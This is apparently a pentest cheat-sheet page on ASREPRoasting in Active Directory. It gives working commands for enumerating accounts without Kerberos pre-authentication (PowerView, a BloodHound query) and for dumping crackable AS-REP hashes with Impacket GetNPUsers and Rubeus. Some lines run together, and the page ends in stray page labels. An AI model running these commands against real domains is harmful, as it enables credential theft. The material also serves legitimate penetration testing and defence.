ASREPRoast
ASREPRoast
Tools: Rubeus , Impacket-GetNPUsers
ASREPRoast
Find ASREPRoastable users (need creds)
Get-DomainUser -PreauthNotRequired -Properties SamAccountNameMATCH(u:User {dontreqpreauth:true}). (c:Computer). p=shortestPath((u)-[*1..]->(c)) RETURN p Find ASREP hash
Impacket-GetNPUsers DOMAIN/ -usersfile USERNAMES.TXT -format hashcat -dc-ip DC_IP -dc-host DC.DOMAIN.LOCAL -outputfile HASHES.DOMAIN.TXT
Rubeus.exe asreproast /format:hashcatOccurs when a user account has the privilege "Does not require Pre-Authentication" set.
This means the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account.
Requirements:
Accounts with the attribute DONT_REQ_PREAUTH ( PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose )
You can also do:
Enumeration (Need domain credentials)
Windows
Linux
Method: Impacket GetNPUsers
Alternate Method: CrackMapExec
Alternate Method: ASREPRoast powershell module https://github.com/HarmJ0y/ASREPRoast
More tools:
Asreproasting
Command
Description
Last updated